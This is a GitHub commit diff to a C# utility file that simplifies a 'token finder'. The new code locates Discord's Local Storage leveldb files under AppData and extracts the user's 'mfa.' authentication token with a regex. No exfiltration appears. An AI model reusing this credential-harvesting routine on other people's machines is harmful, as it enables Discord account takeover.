Skip to content
This repository has been archived by the owner on Dec 4, 2021. It is now read-only.

Commit

Permalink
Simplified Token Finder
Browse files Browse the repository at this point in the history
  • Loading branch information
clean-sys committed Aug 7, 2021
1 parent aaedae1 commit 2ac4f85
Showing 1 changed file with 24 additions and 78 deletions.
102 changes: 24 additions & 78 deletions Util.cs
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
using System.Windows.Forms;
using System.Collections.Generic;
using Newtonsoft.Json;
using System.Linq;

namespace Utils
{
Expand Down Expand Up @@ -117,98 +118,43 @@ public static async Task UploadAsset(string albumName, string imageData)

public class DiscordToken
{
private static string grabToken(string file)
public static string GetDiscordDirectory()
{
byte[] bytes = File.ReadAllBytes(file);
string fileContents = Encoding.UTF8.GetString(bytes);
string authToken = "";
string directory = "";

string[] array = cleanArray(fileContents).Split(new char[]
{
'"'
});

for (int i = 0; i < array.Length; i++)
switch (Plugin.DiscordType)
{
authToken = array[i];

if (authToken.StartsWith("mfa."))
case 1:
directory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discord\\Local Storage\\leveldb\\";
break;
case 2:
directory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discordptb\\Local Storage\\leveldb\\";
break;
case 3:
directory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discordcanary\\Local Storage\\leveldb\\";
break;
default:
directory = "FAIL";
break;
}

if (string.IsNullOrEmpty(authToken))
{
MessageBox.Show($"Could not find token entry in LDB file:\n{file}", "Failed to find token");
return "FAIL";
}

return authToken;
}
private static bool findLdb(ref string levelDB)
{
if (Directory.Exists(levelDB))
{
foreach (FileInfo fileInfo in new DirectoryInfo(levelDB).GetFiles())
{
if (fileInfo.Name.EndsWith(".ldb") && (File.ReadAllText(fileInfo.FullName).Contains("\"mfa.")))
{
levelDB += fileInfo.Name;
return levelDB.EndsWith(".ldb");
}
}
return levelDB.EndsWith(".ldb");
}

MessageBox.Show($"Could not find LDB directory at\n{levelDB}", "Failed to find LDB");

return false;
return directory;
}

private static string cleanArray(string path)
{
string[] array = path.Substring(path.IndexOf("token") + 4).Split(new char[]
{
'"'
});

List<string> list = new List<string>();
list.AddRange(array);
list.RemoveAt(0);

array = list.ToArray();
return string.Join("\"", array);
}

public static string GetAuthToken()
{
string pathStrStable = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discord\\Local Storage\\leveldb\\";
string pathStrBeta = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discordptb\\Local Storage\\leveldb\\";
string pathStrCanary = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discordcanary\\Local Storage\\leveldb\\";
string tokenStr = "";
DirectoryInfo directoryRoot = new DirectoryInfo(GetDiscordDirectory());

switch (Plugin.DiscordType)
foreach (var file in directoryRoot.GetFiles("*.ldb").OrderBy(f => f.LastWriteTime))
{
case 1:
if (!findLdb(ref pathStrStable))
return "FAIL";

tokenStr = grabToken(pathStrStable);

break;
case 2:
if (!findLdb(ref pathStrBeta))
return "FAIL";

tokenStr = grabToken(pathStrBeta);

break;
case 3:
if (!findLdb(ref pathStrCanary))
return "FAIL";

tokenStr = grabToken(pathStrCanary);
string fileOut = file.OpenText().ReadToEnd();
Match mfaMatch = Regex.Match(fileOut, @"mfa\.[\w-]{84}");

if (mfaMatch.Success)
{
tokenStr = mfaMatch.Value;
break;
}
}

return tokenStr;
Expand Down

0 comments on commit 2ac4f85

Please sign in to comment.